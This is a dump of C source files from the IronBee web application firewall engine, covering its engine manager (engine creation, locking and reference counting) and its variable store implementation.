IB_OK is currently always returned. */ ib_status_t modlua_push_config_path( ib_engine_t *ib, ib_context_t *ctx, lua_State *L ); #endif /* __MODULES__LUA_H */
crustymonkey/ironbee
engine/engine_manager.c
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Engine Manager * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/engine_manager.h> #include <ironbee/config.h> #include <ironbee/context.h> #include <ironbee/engine.h> #include <ironbee/list.h> #include <ironbee/lock.h> #include <ironbee/log.h> #include <ironbee/mm_mpool.h> #include <ironbee/module.h> #include <ironbee/release.h> #include <ironbee/server.h> #include <ironbee/state_notify.h> #include <assert.h> #include <inttypes.h> #include <stdarg.h> #include <stdbool.h> #include <stdlib.h> #include <unistd.h> /* The manager's engine wrapper type */ typedef struct ib_manager_engine_t ib_manager_engine_t; /** * Struct to hold post config callback functions. */ struct manager_engine_postconfig_t { ib_manager_engine_postconfig_fn_t fn; /**< Function. */ void *cbdata; /**< Callback data. */ }; typedef struct manager_engine_postconfig_t manager_engine_postconfig_t; /** * Struct to hold post config callback functions. */ struct manager_engine_preconfig_t { ib_manager_engine_preconfig_fn_t fn; /**< Function. */ void *cbdata; /**< Callback data. */ }; typedef struct manager_engine_preconfig_t manager_engine_preconfig_t; /** * The Engine Manager. */ struct ib_manager_t { const ib_server_t *server; /**< Server object */ ib_mpool_t *mpool; /**< Memory pool */ ib_mm_t mm; /**< Memory manager */ /** * Is this manager enabled? * * @sa ib_manager_enable() * @sa ib_manager_disable() */ bool enabled; /** * A list of all engines, including the current engine. * * This is ib_manager_t::max_engines long. The list is compacted * so indexes 0 through ib_manager_t::engine_count-1 have * engines. */ ib_manager_engine_t **engine_list; size_t engine_count; /**< Current count of engines */ size_t max_engines; /**< The maximum number of engines */ ib_manager_engine_t *engine_current; /**< Current IronBee engine */ ib_lock_t manager_lck; /**< Protect access to the mgr. */ /** * Option module function to create a module to add to the engine. * * This is added before the engine is configured. */ ib_manager_module_create_fn_t module_fn; void *module_data; /**< Callback data. */ //! A list of @ref manager_engine_preconfig_t. ib_list_t *preconfig_functions; //! A list of @ref manager_engine_postconfig_t. ib_list_t *postconfig_functions; }; /** * The Engine Manager engine wrapper. * * There is one wrapper per engine instance. */ struct ib_manager_engine_t { ib_engine_t *engine; /**< The IronBee Engine. */ /** * The number of references to ib_manager_engine_t::engine. * * The current engine has a reference count of at least one which * represents the manager's use of that engine as the current engine. * Other engines may have a reference count as low as zero. If an * engine's reference count is zero, it may be cleaned up. */ size_t ref_count; }; /** * Memory pool cleanup function to destroy the locks attached to a manager. * * @param[in] cbdata Callback data (an @ref ib_manager_t). */ static void cleanup_locks( void *cbdata ) { assert(cbdata != NULL); ib_manager_t *manager = (ib_manager_t *)cbdata; ib_lock_destroy(&(manager->manager_lck)); } /** * Destroy IronBee engines with a reference count of zero. * * This function assumes that the engine list lock has been locked by the * caller. * * @param[in] manager IronBee engine manager. * */ static void destroy_inactive_engines( ib_manager_t *manager ) { assert(manager != NULL); const size_t list_sz = manager->engine_count; /* Destroy all non-current engines with zero reference count */ for (size_t num = 0; num < list_sz; ++num) { /* Get and check the wrapper for the IronBee engine. */ const ib_manager_engine_t *wrapper = manager->engine_list[num]; assert(wrapper != NULL); /* Get and check the engine. */ ib_engine_t *engine = wrapper->engine; assert(engine != NULL); if ( wrapper->ref_count == 0) { --(manager->engine_count); /* Note: This will destroy the engine wrapper object, too */ ib_engine_destroy(engine); /* NULL out it's place in the list -- we'll consolidate the * list at the bottom */ manager->engine_list[num] = NULL; } } /* If any engines were destroyed, there is a NULL in the list * where they where. Collapse the list, removing NULLs. */ if (list_sz > manager->engine_count) { /* Iterator i walks the list. * * Non-null elements are copied to the iterator, j, which * starts equal to i, but will lag behind i when the first * NULL entry is seen. * * When i increases to and beyond new_engine_count, we know * that those array slots will not be used in the new list * and should be cleared. */ for (size_t i = 0, j = 0; i < list_sz; ++i) { /* If i is not null, copy it to j. */ if (manager->engine_list[i] != NULL) { manager->engine_list[j] = manager->engine_list[i]; ++j; /* If is is beyond the new list, NULL the source elements. */ if (i >= manager->engine_count) { manager->engine_list[i] = NULL; } } } } } /** * Run the config functions on the given engine. * * @param[in] manager The manager to retrieve the functions from. * @param[in] ib The engine to apply the functions to. * * @returns * - IB_OK On success of all functions. * - Other on the failure of any function. Processing is aborted on * a function failure. */ static ib_status_t manager_run_preconfig_fn( ib_manager_t *manager, ib_engine_t *ib ) { assert(manager != NULL); assert(manager->preconfig_functions != NULL); assert(ib != NULL); ib_status_t rc; const ib_list_node_t *node; IB_LIST_LOOP_CONST(manager->preconfig_functions, node) { manager_engine_preconfig_t *manager_engine_preconfig = (manager_engine_preconfig_t *)ib_list_node_data_const(node); rc = manager_engine_preconfig->fn( manager, ib, manager_engine_preconfig->cbdata); if (rc != IB_OK) { return rc; } } return IB_OK; } /** * Run the config functions on the given engine. * * @param[in] manager The manager to retrieve the functions from. * @param[in] ib The engine to apply the functions to. * * @returns * - IB_OK On success of all functions. * - Other on the failure of any function. Processing is aborted on * a function failure. */ static ib_status_t manager_run_postconfig_fn( ib_manager_t *manager, ib_engine_t *ib ) { assert(manager != NULL); assert(manager->postconfig_functions != NULL); assert(ib != NULL); ib_status_t rc; const ib_list_node_t *node; IB_LIST_LOOP_CONST(manager->postconfig_functions, node) { manager_engine_postconfig_t *manager_engine_postconfig = (manager_engine_postconfig_t *)ib_list_node_data_const(node); rc = manager_engine_postconfig->fn( manager, ib, manager_engine_postconfig->cbdata); if (rc != IB_OK) { return rc; } } return IB_OK; } ib_status_t ib_manager_create( ib_manager_t **pmanager, const ib_server_t *server, size_t max_engines ) { assert(server != NULL); assert(pmanager != NULL); ib_status_t rc; ib_mpool_t *mpool; ib_mm_t mm; ib_manager_t *manager; ib_manager_engine_t **engine_list; /* Max engines must be at least one */ if (max_engines < 1) { return IB_EINVAL; } /* Create our memory pool. */ rc = ib_mpool_create(&mpool, "Engine Manager", NULL); if (rc != IB_OK) { return rc; } mm = ib_mm_mpool(mpool); /* Create the manager object. */ manager = ib_mm_calloc(mm, sizeof(*manager), 1); if (manager == NULL) { rc = IB_EALLOC; goto cleanup; } /* Create the engine list. */ engine_list = ib_mm_calloc( mm, max_engines, sizeof(ib_manager_engine_t *)); if (engine_list == NULL) { rc = IB_EALLOC; goto cleanup; } /* Create the locks */ rc = ib_lock_init(&(manager->manager_lck)); if (rc != IB_OK) { goto cleanup; } /* Cleanup locks when our memory pool is destroyed */ rc = ib_mm_register_cleanup(mm, cleanup_locks, manager); if (rc != IB_OK) { goto cleanup; } rc = ib_list_create(&(manager->preconfig_functions), mm); if (rc != IB_OK) { goto cleanup; } rc = ib_list_create(&(manager->postconfig_functions), mm); if (rc != IB_OK) { goto cleanup; } /* Populate the manager object. */ manager->server = server; manager->mpool = mpool; manager->mm = mm; manager->engine_list = engine_list; manager->max_engines = max_engines; manager->module_fn = NULL; manager->module_data = NULL; manager->enabled = true; /* Hand the new manager off to the caller. */ *pmanager = manager; /* We haven't acquired any locks, so we can just return. */ return IB_OK; cleanup: if (mpool != NULL) { ib_mpool_destroy(mpool); } return rc; } ib_status_t ib_manager_register_module_fn( ib_manager_t *manager, ib_manager_module_create_fn_t module_fn, void *module_data ) { assert(manager != NULL); manager->module_fn = module_fn; manager->module_data = module_data; return IB_OK; } void ib_manager_destroy( ib_manager_t *manager ) { assert(manager != NULL); /* Destroy engines */ for (size_t num = 0; num < manager->engine_count; ++num) { const ib_manager_engine_t *manager_engine = manager->engine_list[num]; /* Note: This will destroy the engine wrapper object, too */ ib_engine_destroy(manager_engine->engine); } /* Destroy the manager by destroying it's memory pool. */ ib_mpool_destroy(manager->mpool); /* Note: Locks are destroyed by the memory pool cleanup */ } /** * Put @a engine under @a manager 's control and make it the current engine. * * This requires that the caller hold the manager lock and that * ib_manager_t::engine_count be less than ib_manager_t::max_engines. * * - Add @a engine to @a manager's engine list. * - Demote the current engine, removing the manager's reference count. * - Promote @a engine to current, adding a manager reference count. * * @param[in] manager Engine manager * @param[in] engine Engine wrapper object * */ static void register_engine( ib_manager_t *manager, ib_manager_engine_t *engine ) { assert(manager != NULL); assert(engine != NULL); assert(manager->engine_count < manager->max_engines); ib_manager_engine_t *previous_engine; /* Store the engine in the list of all engines. */ manager->engine_list[manager->engine_count] = engine; ++(manager->engine_count); /* Store a reference to the previous engine. */ previous_engine = manager->engine_current; /* Promote engine to the current engine (demoting the previous one. */ manager->engine_current = engine; /* Add a reference count to the current engine for the manager. */ ++(manager->engine_current->ref_count); /* If there was a previous engine, clean it up. */ if (previous_engine != NULL) { ib_status_t rc; /* Remove the engine manager's reference to the engine. */ --(previous_engine->ref_count); /* Tell the engine that we would like to shut down. */ rc = ib_state_notify_engine_shutdown_initiated( previous_engine->engine); if (rc != IB_OK) { ib_log_error( previous_engine->engine, "Failed to signal previous engine to shutdown."); } } } /** * Determine if space is available for add another engine. * * This function assumes that the caller has locked the manager. * * This function will attempt a call to destroy_inactive_engines() if * no space is available. If no space is available after the cleanup attempt * IB_DECLINED is returned. * * @param[in] manager The manager. * * @returns * - IB_OK If there is space, or if space has been reclaimed. * - IB_DECLINED If there is no space or an error occurs. */ static ib_status_t has_engine_slots(ib_manager_t *manager) { /* Are we already at the max # of engines? */ if (manager->engine_count >= manager->max_engines) { /* Attempt to reclaim engine slots. */ destroy_inactive_engines(manager); if (manager->engine_count >= manager->max_engines) { return IB_DECLINED; } } return IB_OK; } /** * This is how the manager creates a @ref ib_engine_t. * * It is wrapped in a @ref ib_manager_engine_t. * * This requires the caller to hold the manager lock. * * @param[in] manager The manager to use for creation. * @param[in] config_file The configuration file to pass the engine. * @param[out] engine_wrapper The engine wrapper to be constructed holding * the engine and some meta data. * * @returns * - IB_OK On success. * - IB_EALLOC For memory errors. * - IB_DECLINED If there is no engine slot available. */ static ib_status_t create_engine( ib_manager_t *manager, const char *config_file, ib_manager_engine_t **engine_wrapper ) { assert(manager != NULL); assert(config_file != NULL); ib_status_t rc; ib_cfgparser_t *parser = NULL; ib_context_t *ctx; ib_manager_engine_t *wrapper; ib_engine_t *engine; /* Create the engine */ rc = ib_engine_create(&engine, manager->server); if (rc != IB_OK) { return rc; } /* Allocate an engine wrapper from the new engine's memory pool */ wrapper = ib_mm_calloc( ib_engine_mm_main_get(engine), 1, sizeof(*wrapper)); if (wrapper == NULL) { rc = IB_EALLOC; goto error; } /* If the user defined a module creation function, use and add to engine. */ if (manager->module_fn != NULL) { /* Module the user creates. */ const ib_module_t *module = NULL; /* Build a module structure per the plugin's request. */ rc = manager->module_fn( (ib_module_t **)&module, engine, manager->module_data); /* On OK, initialize the module in the engine. */ if (rc == IB_OK) { /* Initialize the module into the engine. */ rc = ib_module_register(module, engine); if (rc != IB_OK) { goto error; } } /* If module_fn is not OK and did not decline to make a module, fail. */ else if (rc != IB_DECLINED) { goto error; } } /* Create the configuration parser */ rc = ib_cfgparser_create(&parser, engine); if (rc != IB_OK) { goto error; } /* Run the pre-config functions. */ rc = manager_run_preconfig_fn(manager, engine); if (rc != IB_OK) { goto error; } /* Tell the engine about the new parser. Note that this creates the main * configuration context. */ rc = ib_engine_config_started(engine, parser); if (rc != IB_OK) { goto error; } /* Get the main configuration context, set default log level. */ ctx = ib_context_main(engine); ib_context_set_num(ctx, "logger.log_level", (ib_num_t)IB_LOG_WARNING); /* Parse the configuration */ rc = ib_cfgparser_parse(parser, config_file); if (rc != IB_OK) { return rc; } /* Report the status to the engine */ rc = ib_engine_config_finished(engine); if (rc != IB_OK) { return rc; } /* Run the pre-config functions. */ rc = manager_run_postconfig_fn(manager, engine); if (rc != IB_OK) { goto error; } /* Fill in the wrapper */ wrapper->engine = engine; wrapper->ref_count = 0; *engine_wrapper = wrapper; return IB_OK; error: /* If a parser was created, destroy it */ if (parser != NULL) { ib_cfgparser_destroy(parser); } ib_engine_destroy(engine); return rc; } ib_status_t ib_manager_engine_create( ib_manager_t *manager, const char *config_file ) { assert(manager != NULL); assert(config_file != NULL); ib_status_t rc; ib_manager_engine_t *wrapper = NULL; /* Grab the engine creation lock to serialize engine creation. */ rc = ib_lock_lock(&manager->manager_lck); if (rc != IB_OK) { goto cleanup; } /* Notice we do this check inside the critical section. */ if (! manager->enabled) { rc = IB_DECLINED; goto cleanup; } /* Check for or make space. */ rc = has_engine_slots(manager); if (rc != IB_OK) { goto cleanup; } /* If we have space, build an engine... */ rc = create_engine(manager, config_file, &wrapper); if (rc != IB_OK) { goto cleanup; } /* ... and register that engine with the manager. */ register_engine(manager, wrapper); /* Destroy any inactive engines. */ destroy_inactive_engines(manager); cleanup: /* Release any locks. */ ib_lock_unlock(&manager->manager_lck); return rc; } ib_status_t ib_manager_enable( ib_manager_t *manager ) { assert(manager != NULL); ib_status_t rc; rc = ib_lock_lock(&manager->manager_lck); if (rc != IB_OK) { goto cleanup; } manager->enabled = true; cleanup: /* Release any locks. */ ib_lock_unlock(&manager->manager_lck); return rc; } ib_status_t ib_manager_disable( ib_manager_t *manager ) { assert(manager != NULL); ib_status_t rc; ib_engine_t *previous_engine = NULL; rc = ib_lock_lock(&manager->manager_lck); if (rc != IB_OK) { goto cleanup; } /* Capture the previous engine for use outside this critical section. */ if (manager->engine_current != NULL) { previous_engine = manager->engine_current->engine; manager->engine_current = NULL; } manager->enabled = false; cleanup: /* Release the lock. */ ib_lock_unlock(&manager->manager_lck); if (previous_engine != NULL) { /* Let the previous engine know it is to shut down. */ rc = ib_state_notify_engine_shutdown_initiated(previous_engine); if (rc != IB_OK) { ib_log_error( previous_engine, "Failed to signal previous engine to shutdown."); } /* Release the reference count of the engine manager to this engine. */ rc = ib_manager_engine_release(manager, previous_engine); if (rc != IB_OK) { ib_log_error( previous_engine, "Failed to release manager reference to the current engine."); } /* Cleanup any engines, possibly the previous engine, with nothing * referencing them. */ rc = ib_manager_engine_cleanup(manager); if (rc != IB_OK) { return rc; } } return rc; } ib_status_t ib_manager_engine_acquire( ib_manager_t *manager, ib_engine_t **pengine ) { assert(manager != NULL); assert(pengine != NULL); ib_status_t rc; ib_manager_engine_t *engine = NULL; /* Grab the engine list lock */ rc = ib_lock_lock(&manager->manager_lck); if (rc != IB_OK) { return rc; } /* Get the current engine; If there is no current engine, decline. */ engine = manager->engine_current; if (engine != NULL) { /* Increment and return the engine. */ ++(engine->ref_count); *pengine = engine->engine; rc = IB_OK; } else { rc = IB_DECLINED; } ib_lock_unlock(&manager->manager_lck); return rc; } ib_status_t ib_manager_engine_release( ib_manager_t *manager, ib_engine_t *engine ) { assert(manager != NULL); assert(engine != NULL); ib_status_t rc; ib_manager_engine_t *managed_engine = NULL; /* Grab the engine list lock */ rc = ib_lock_lock(&manager->manager_lck); if (rc != IB_OK) { return rc; } /* Happy path: The current engine is being released. */ if ( manager->engine_current != NULL && engine == manager->engine_current->engine ) { managed_engine = manager->engine_current; } /* More work to find an old engine that's being released. */ else { for (size_t num = 0; num < manager->engine_count; ++num) { ib_manager_engine_t *cur = manager->engine_list[num]; /* Decrement the reference count if the engine matches. */ if (engine == cur->engine) { managed_engine = cur; /* Leave the loop as we won't find engine a second time. */ break; } } } /* Found the engine in this manager. Release it. */ if (managed_engine != NULL) { /* Quick sanity check. Never release an unowned engine. */ assert(managed_engine->ref_count > 0); /* Release the engine. */ --(managed_engine->ref_count); rc = IB_OK; } /* The user passed us an engine not from this manager. */ else { rc = IB_EINVAL; } /* Release the lock. */ ib_lock_unlock(&manager->manager_lck); return rc; } ib_status_t ib_manager_engine_cleanup( ib_manager_t *manager ) { assert(manager != NULL); ib_status_t rc; /* Grab the engine list lock */ rc = ib_lock_lock(&manager->manager_lck); if (rc != IB_OK) { return rc; } destroy_inactive_engines(manager); ib_lock_unlock(&manager->manager_lck); return IB_OK; } size_t ib_manager_engine_count( const ib_manager_t *manager ) { assert(manager != NULL); return manager->engine_count; } ib_status_t ib_manager_engine_postconfig_fn_add( ib_manager_t *manager, ib_manager_engine_postconfig_fn_t postconfig_fn, void *cbdata ) { assert(manager != NULL); assert(manager->mpool != NULL); assert(manager->postconfig_functions != NULL); manager_engine_postconfig_t *manager_engine_postconfig; ib_status_t rc; ib_mm_t mm = manager->mm; manager_engine_postconfig = (manager_engine_postconfig_t *) ib_mm_alloc(mm, sizeof(*manager_engine_postconfig)); if (manager_engine_postconfig == NULL) { return IB_EALLOC; } manager_engine_postconfig->fn = postconfig_fn; manager_engine_postconfig->cbdata = cbdata; rc = ib_list_push(manager->postconfig_functions, manager_engine_postconfig); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_manager_engine_preconfig_fn_add( ib_manager_t *manager, ib_manager_engine_preconfig_fn_t preconfig_fn, void *cbdata ) { assert(manager != NULL); assert(manager->mpool != NULL); assert(manager->preconfig_functions != NULL); manager_engine_preconfig_t *manager_engine_preconfig; ib_status_t rc; ib_mm_t mm = manager->mm; manager_engine_preconfig = (manager_engine_preconfig_t *) ib_mm_alloc(mm, sizeof(*manager_engine_preconfig)); if (manager_engine_preconfig == NULL) { return IB_EALLOC; } manager_engine_preconfig->fn = preconfig_fn; manager_engine_preconfig->cbdata = cbdata; rc = ib_list_push(manager->preconfig_functions, manager_engine_preconfig); if (rc != IB_OK) { return rc; } return IB_OK; } ib_mm_t ib_manager_mm( const ib_manager_t *manager ) { assert(manager != NULL); return manager->mm; }
crustymonkey/ironbee
engine/var.c
<filename>engine/var.c<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Var Implementation * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/var.h> #include <ironbee/array.h> #include <ironbee/hash.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/string_assembly.h> #include <assert.h> #include <inttypes.h> #include <stdio.h> /* types */ struct ib_var_config_t { /** Memory manager */ ib_mm_t mm; /** Hash of keys to index. Value `ib_var_source_t *` */ ib_hash_t *index_by_name; /** Next index to use. */ size_t next_index; }; struct ib_var_store_t { /** Configuration */ const ib_var_config_t *config; /** Memory manager */ ib_mm_t mm; /** Hash of source name to value. Value: `ib_field_t *` */ ib_hash_t *hash; /** Array of source index to value. Value: `ib_field_t *` */ ib_array_t *array; }; struct ib_var_source_t { /** Configuration */ const ib_var_config_t *config; /** * Name of source. * * For indexed sources, this will be a copy of the name passed to * ib_var_source_register(). For unindexed sources, this will be an alias * of the name passed to ib_var_source_acquire(). This difference * reflects the performance and lifetime issues of each use. **/ const char *name; /** Length of @ref name */ size_t name_length; /** Initial phase value is set. */ ib_rule_phase_num_t initial_phase; /** Final phase with value is changed. */ ib_rule_phase_num_t final_phase; /** * Is source indexed? * * If true, @ref index is meaningful and can be used to lookup value in * ib_var_store_t::array. If false, @ref index is meaningless, and value * must be looked up by name in ib_var_store_t::hash. */ bool is_indexed; /** * Index (only if @ref is_indexed is true). * * For unindexed sources, this member is intentionally left uninitialized * to allow valgrind to catch inappropriate uses of it. **/ size_t index; }; struct ib_var_filter_t { /** * Filter string. * * This is the raw string provided to the filter. It is passed directly * to dynamic fields. It is also used as a case-insensitive match to * search non-dynamic fields. **/ const char *filter_string; /** * Length of @ref filter_string. **/ size_t filter_string_length; }; struct ib_var_target_t { /** * Source. May not be NULL. **/ ib_var_source_t *source; /** * Expand to lazily construct filter. * * If NULL, then use @ref filter. **/ const ib_var_expand_t *expand; /** * Filter. May be NULL. * * If @ref expand and @ref filter are null, then this is a trivial target * and the result is the source being wrapped in a list of size 1. **/ const ib_var_filter_t *filter; }; struct ib_var_expand_t { /** Text before expansion. May be NULL. */ const char *prefix; /** Length of @a prefix. */ size_t prefix_length; /** Target after prefix. May be NULL. */ const ib_var_target_t *target; /** Next expansion chunk. */ ib_var_expand_t *next; }; /* helpers */ /** * Convert a field to a string. * * Any errors will result in an expansion of "ERROR". Only bytestring, num * and float fields are supported. All others are expanded into * "UNSUPPORTED". * * @param[out] dst Result. For bytestring fields, lifetime will equal * value of bytestring. For other fields, lifetime * will at least be as long as @a mp. * @param[out] dst_length Length of @a dst. * @param[in] field Field to convert. * @param[in] mm Memory manager to use. **/ static void field_to_string( const char **dst, size_t *dst_length, const ib_field_t *field, ib_mm_t mm ) NONNULL_ATTRIBUTE(1, 2, 3); /** * Find expansion substring in @a s. * * Looks for "%{" in @a s. If found, looks for "}" after that. If found, * outputs locations to @a a and @a b and returns true. * * The prefix will be `[s, a)`; expansion will be `[a + 2, b)`, and suffix * will be `[b + 1, s + l)`. * * @param[out] a Will point to '%' in first "%{". * @param[out] b Will point to '}' in following "}". * @param[in] s String to search. * @param[in] l Length of @a s. * @return true iff an expansion substring was found in @a s. **/ bool find_expand_string( const char **a, const char **b, const char *s, size_t l ) NONNULL_ATTRIBUTE(1, 2, 3); /** * Get the filter for a target, expanding if needed. * * @param[in] target Target to get filter for. * @param[out] result Where to store filter. Lifetime is either that of * @a target (if non-expand) or @a mp (if expand). * @param[in] mm Memory manager to use for expansion. May have NULL * alloc if no expansion. * @param[in] store Store to use for expansion. * * @return * - IB_OK on success. * - Any return of ib_var_expand_execute() or ib_var_filter_acquire(). **/ static ib_status_t target_filter_get( const ib_var_target_t *target, const ib_var_filter_t **result, ib_mm_t mm, const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 2, 4); /* var_config */ ib_status_t ib_var_config_acquire( ib_var_config_t **config, ib_mm_t mm ) { assert(config != NULL); ib_status_t rc; ib_var_config_t *local_config; local_config = ib_mm_alloc(mm, sizeof(*local_config)); if (local_config == NULL) { return IB_EALLOC; } local_config->mm = mm; local_config->next_index = 0; rc = ib_hash_create_nocase(&local_config->index_by_name, mm); if (rc != IB_OK) { return rc; } *config = local_config; return IB_OK; } ib_mm_t ib_var_config_mm( const ib_var_config_t *config ) { assert(config != NULL); return config->mm; } /* var_store */ ib_status_t ib_var_store_acquire( ib_var_store_t **store, ib_mm_t mm, const ib_var_config_t *config ) { assert(store != NULL); assert(config != NULL); ib_status_t rc; ib_var_store_t *local_store; local_store = ib_mm_alloc(mm, sizeof(*local_store)); if (local_store == NULL) { return IB_EALLOC; } local_store->config = config; local_store->mm = mm; rc = ib_hash_create_nocase(&local_store->hash, mm); if (rc != IB_OK) { return rc; } if (local_store->config->next_index > 0) { rc = ib_array_create( &local_store->array, mm, local_store->config->next_index, 5 ); if (rc != IB_OK) { return rc; } } *store = local_store; return IB_OK; } const ib_var_config_t *ib_var_store_config( const ib_var_store_t *store ) { assert(store != NULL); return store->config; } ib_mm_t ib_var_store_mm( const ib_var_store_t *store ) { assert(store != NULL); return store->mm; } void ib_var_store_export( ib_var_store_t *store, ib_list_t *result ) { assert(store != NULL); assert(result != NULL); /* Ignore return code. Can only be IB_ENOENT */ ib_hash_get_all(store->hash, result); } /* var_source */ ib_status_t ib_var_source_register( ib_var_source_t **source, ib_var_config_t *config, const char *name, size_t name_length, ib_rule_phase_num_t initial_phase, ib_rule_phase_num_t final_phase ) { assert(config != NULL); assert(name != NULL); ib_var_source_t *local_source; ib_status_t rc; local_source = ib_mm_alloc( ib_var_config_mm(config), sizeof(*local_source) ); if (local_source == NULL) { return IB_EALLOC; } if (final_phase != IB_PHASE_NONE && final_phase < initial_phase) { return IB_EINVAL; } rc = ib_hash_get_ex(config->index_by_name, NULL, name, name_length); if (rc != IB_ENOENT) { return IB_EEXIST; } local_source->name = ib_mm_memdup( ib_var_config_mm(config), name, name_length ); if (local_source->name == NULL) { return IB_EALLOC; } local_source->config = config; local_source->name_length = name_length; local_source->initial_phase = initial_phase; local_source->final_phase = final_phase; local_source->is_indexed = true; local_source->index = config->next_index; rc = ib_hash_set_ex( config->index_by_name, local_source->name, local_source->name_length, local_source ); if (rc != IB_OK) { return rc; } /* Nothing can fail now. Update state. */ ++config->next_index; if (source != NULL) { *source = local_source; } return IB_OK; } const ib_var_config_t *ib_var_source_config( const ib_var_source_t *source ) { assert(source != NULL); return source->config; } void ib_var_source_name( const ib_var_source_t *source, const char **name, size_t *name_length ) { assert(source != NULL); assert(name != NULL); assert(name_length != NULL); *name = source->name; *name_length = source->name_length; } ib_rule_phase_num_t ib_var_source_initial_phase( const ib_var_source_t *source ) { assert(source != NULL); return source->initial_phase; } ib_rule_phase_num_t ib_var_source_final_phase( const ib_var_source_t *source ) { assert(source != NULL); return source->final_phase; } bool ib_var_source_is_indexed( const ib_var_source_t *source ) { assert(source != NULL); return source->is_indexed; } ib_status_t ib_var_source_get( ib_var_source_t *source, ib_field_t **field, ib_var_store_t *store ) { assert(source != NULL); assert(store != NULL); if (ib_var_store_config(store) != ib_var_source_config(source)) { return IB_EINVAL; } if (source->is_indexed) { ib_field_t *local_field = NULL; ib_status_t rc; rc = ib_array_get(store->array, source->index, &local_field); /* Array only errors if out of band, i.e., not set. */ if (rc != IB_OK || local_field == NULL) { return IB_ENOENT; } if (field != NULL) { *field = local_field; } return rc; } else { return ib_hash_get_ex( store->hash, field, source->name, source->name_length ); } } ib_status_t ib_var_source_get_const( const ib_var_source_t *source, const ib_field_t **field, const ib_var_store_t *store ) { assert(source != NULL); assert(store != NULL); /* Use non-const version; okay, as caller storing result in const. */ return ib_var_source_get( (ib_var_source_t *)source, (ib_field_t **)field, (ib_var_store_t *)store ); } ib_status_t ib_var_source_set( ib_var_source_t *source, ib_var_store_t *store, ib_field_t *field ) { assert(source != NULL); assert(store != NULL); ib_status_t rc; if (ib_var_store_config(store) != ib_var_source_config(source)) { return IB_EINVAL; } if (field != NULL) { field->name = source->name; field->nlen = source->name_length; } if (source->is_indexed) { rc = ib_array_setn(store->array, source->index, field); if (rc != IB_OK) { return rc; } } return ib_hash_set_ex( store->hash, source->name, source->name_length, field ); } ib_status_t ib_var_source_acquire( ib_var_source_t **source, ib_mm_t mm, const ib_var_config_t *config, const char *name, size_t name_length ) { assert(config != NULL); assert(name != NULL); ib_status_t rc; ib_var_source_t *local_source; rc = ib_hash_get_ex( config->index_by_name, &local_source, name, name_length ); if (rc != IB_OK && rc != IB_ENOENT) { return rc; } if (rc == IB_ENOENT) { /* Non-indexed. */ if (ib_mm_is_null(mm)) { return IB_ENOENT; } local_source = ib_mm_alloc(mm, sizeof(*local_source)); if (local_source == NULL) { return IB_EALLOC; } local_source->name = ib_mm_memdup(mm, name, name_length); if (local_source->name == NULL) { return IB_EALLOC; } local_source->name_length = name_length; local_source->config = config; local_source->initial_phase = IB_PHASE_NONE; local_source->final_phase = IB_PHASE_NONE; local_source->is_indexed = false; /* Intentionally leaving index uninitialized so that valgrind can * catch invalid uses of it. */ } if (source != NULL) { *source = local_source; } return IB_OK; } ib_status_t ib_var_source_initialize( ib_var_source_t *source, ib_field_t **field, ib_var_store_t *store, ib_ftype_t ftype ) { assert(source != NULL); assert(store != NULL); ib_status_t rc; void *val; ib_field_t *local_field; ib_num_t n = 0; ib_float_t f = 0; ib_time_t t = 0; switch (ftype) { case IB_FTYPE_NUM: val = ib_ftype_num_mutable_in(&n); break; case IB_FTYPE_FLOAT: val = ib_ftype_float_mutable_in(&f); break; case IB_FTYPE_TIME: val = ib_ftype_time_mutable_in(&t); break; case IB_FTYPE_NULSTR: { char *s = strdup(""); if (s == NULL) { return IB_EALLOC; } val = ib_ftype_nulstr_mutable_in(s); break; } case IB_FTYPE_BYTESTR: { ib_bytestr_t *bs; rc = ib_bytestr_dup_nulstr(&bs, ib_var_store_mm(store), ""); if (rc != IB_OK) { return rc; } val = ib_ftype_bytestr_mutable_in(bs); break; } case IB_FTYPE_LIST: { ib_list_t *l; rc = ib_list_create(&l, ib_var_store_mm(store)); if (rc != IB_OK) { return rc; } val = ib_ftype_list_mutable_in(l); break; } default: return IB_EINVAL; } rc = ib_field_create_no_copy( &local_field, ib_var_store_mm(store), source->name, source->name_length, ftype, val ); if (rc != IB_OK) { return rc; } rc = ib_var_source_set(source, store, local_field); if (rc != IB_OK) { return rc; } if (field != NULL) { *field = local_field; } return IB_OK; } ib_status_t ib_var_source_append( ib_var_source_t *source, ib_var_store_t *store, ib_field_t *field ) { assert(source != NULL); assert(field != NULL); assert(store != NULL); ib_status_t rc; ib_field_t *source_field; ib_list_t *list; rc = ib_var_source_get(source, &source_field, store); if (rc != IB_OK && rc != IB_ENOENT) { return rc; } if (rc == IB_ENOENT) { rc = ib_var_source_initialize( source, &source_field, store, IB_FTYPE_LIST ); if (rc != IB_OK) { return rc; } } assert(source_field != NULL); if (source_field->type != IB_FTYPE_LIST) { return IB_EINCOMPAT; } rc = ib_field_value(source_field, ib_ftype_list_mutable_out(&list)); if (rc != IB_OK) { return rc == IB_EALLOC ? rc : IB_EOTHER; } rc = ib_list_push(list, field); if (rc != IB_OK) { return rc == IB_EALLOC ? rc : IB_EOTHER; } return IB_OK; } 